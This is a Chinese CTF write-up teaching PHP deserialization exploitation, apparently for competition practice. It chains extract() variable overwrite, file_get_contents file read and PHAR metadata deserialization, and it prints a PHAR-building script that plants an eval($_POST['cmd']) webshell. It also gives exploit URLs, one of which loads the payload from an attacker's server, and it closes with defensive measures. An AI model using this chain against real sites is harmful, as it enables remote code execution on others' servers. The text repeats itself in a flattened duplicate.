老赛棍寒假复习计划——反序列化篇(一)
字数 1212 2025-08-15 21:33:46

PHP反序列化漏洞教学文档

一、反序列化漏洞基础

1.1 序列化与反序列化概念

  • 序列化:将对象转换为可存储或传输的字符串格式
  • 反序列化:将序列化后的字符串还原为对象

1.2 PHP反序列化漏洞成因

当应用程序接收用户可控的反序列化数据时,如果类中存在魔术方法(如__destruct()__wakeup()等),攻击者可以构造恶意序列化数据来执行任意代码。

二、题目分析

2.1 题目环境

  • 复现环境:百度网盘链接(提取码:7ryd)
  • 题目类型:Web题目,涉及PHAR写入和反序列化

2.2 核心漏洞点

  1. 变量覆盖漏洞
  2. 文件读取漏洞
  3. PHAR反序列化漏洞

三、漏洞利用详解

3.1 变量覆盖漏洞

if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
}

利用方式

  • 通过GET参数var[]传入数组
  • 示例:?var[template][tp1]=aaa会覆盖原$template变量

原理

  • extract()函数将数组键名作为变量名,键值作为变量值
  • EXTR_OVERWRITE参数表示覆盖已有变量

3.2 文件读取漏洞

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        die("No! You only have 3 template to reader");
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Temp($content);
}

利用步骤

  1. 通过变量覆盖修改$template数组
  2. 构造?var[template][tp1]=目标文件&tp=tp1
  3. file_get_contents读取指定文件内容

3.3 PHAR反序列化

3.3.1 PHAR文件结构

PHAR(PHP Archive)文件包含:

  1. Stub文件头(如GIF89a<?php __HALT_COMPILER(); ?>
  2. Manifest(包含元数据)
  3. 文件内容
  4. 签名(可选)

3.3.2 恶意PHAR构造

class Temp {
    public $suffix;
    public $content;
    public $pattern;
}

@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');

$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval(\$_POST['cmd']);?>";
$object->pattern="{{([a-z]+)}}";

$phar->setMetadata($object);
$phar->stopBuffering();

3.3.3 PHAR利用方式

  1. 通过data协议写入
    ?var[template][tp1]=data://text/plain;base64,PHAR_BASE64&tp=tp1
    
  2. 通过phar协议触发反序列化
    ?var[template][tp1]=phar://上传的文件路径&tp=tp1
    
  3. 远程文件读取(有外网时)
    ?var[template][tp1]=http://攻击者服务器/phar.phar&tp=tp1
    

四、完整利用链

4.1 无外网环境利用

  1. 构造恶意PHAR文件并获取base64编码
  2. 通过data协议写入:
    /?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9...&tp=tp1
    
  3. 通过phar协议触发反序列化:
    /?var[template][tp1]=phar://upload/路径/文件.html&tp=tp1
    
  4. 访问生成的webshell:
    /upload/路径/文件.php
    

4.2 有外网环境利用

  1. 将PHAR文件放在公网服务器
  2. 直接远程加载:
    /?var[template][tp1]=http://攻击者服务器/phar.phar&tp=tp1
    
  3. 后续步骤相同

五、防御措施

  1. 避免不可信数据反序列化

    • 不要反序列化用户输入的任意数据
  2. 使用安全函数

    • 使用json_encode()/json_decode()替代序列化/反序列化
  3. 魔术方法审查

    • 检查类中的__wakeup()__destruct()等魔术方法
  4. PHAR防御

    • 禁用phar://协议
    • 检查文件上传内容
  5. 变量覆盖防御

    • 避免使用extract()处理用户输入
    • 使用EXTR_SKIP而非EXTR_OVERWRITE

六、相关实验

建议通过实验加深理解:

  1. PHP反序列化漏洞实验
  2. PHAR文件构造实验
  3. 变量覆盖漏洞实验

通过本教学文档,您应该掌握了PHP反序列化漏洞的原理、利用方式及防御措施,特别是结合PHAR和变量覆盖的复合型漏洞利用方法。

PHP反序列化漏洞教学文档 一、反序列化漏洞基础 1.1 序列化与反序列化概念 序列化 :将对象转换为可存储或传输的字符串格式 反序列化 :将序列化后的字符串还原为对象 1.2 PHP反序列化漏洞成因 当应用程序接收用户可控的反序列化数据时,如果类中存在魔术方法(如 __destruct() 、 __wakeup() 等),攻击者可以构造恶意序列化数据来执行任意代码。 二、题目分析 2.1 题目环境 复现环境:百度网盘链接(提取码:7ryd) 题目类型:Web题目,涉及PHAR写入和反序列化 2.2 核心漏洞点 变量覆盖漏洞 文件读取漏洞 PHAR反序列化漏洞 三、漏洞利用详解 3.1 变量覆盖漏洞 利用方式 : 通过GET参数 var[] 传入数组 示例: ?var[template][tp1]=aaa 会覆盖原 $template 变量 原理 : extract() 函数将数组键名作为变量名,键值作为变量值 EXTR_OVERWRITE 参数表示覆盖已有变量 3.2 文件读取漏洞 利用步骤 : 通过变量覆盖修改 $template 数组 构造 ?var[template][tp1]=目标文件&tp=tp1 file_get_contents 读取指定文件内容 3.3 PHAR反序列化 3.3.1 PHAR文件结构 PHAR(PHP Archive)文件包含: Stub文件头(如 GIF89a<?php __HALT_COMPILER(); ?> ) Manifest(包含元数据) 文件内容 签名(可选) 3.3.2 恶意PHAR构造 3.3.3 PHAR利用方式 通过data协议写入 : 通过phar协议触发反序列化 : 远程文件读取(有外网时) : 四、完整利用链 4.1 无外网环境利用 构造恶意PHAR文件并获取base64编码 通过data协议写入: 通过phar协议触发反序列化: 访问生成的webshell: 4.2 有外网环境利用 将PHAR文件放在公网服务器 直接远程加载: 后续步骤相同 五、防御措施 避免不可信数据反序列化 : 不要反序列化用户输入的任意数据 使用安全函数 : 使用 json_encode() / json_decode() 替代序列化/反序列化 魔术方法审查 : 检查类中的 __wakeup() 、 __destruct() 等魔术方法 PHAR防御 : 禁用 phar:// 协议 检查文件上传内容 变量覆盖防御 : 避免使用 extract() 处理用户输入 使用 EXTR_SKIP 而非 EXTR_OVERWRITE 六、相关实验 建议通过实验加深理解: PHP反序列化漏洞实验 PHAR文件构造实验 变量覆盖漏洞实验 通过本教学文档,您应该掌握了PHP反序列化漏洞的原理、利用方式及防御措施,特别是结合PHAR和变量覆盖的复合型漏洞利用方法。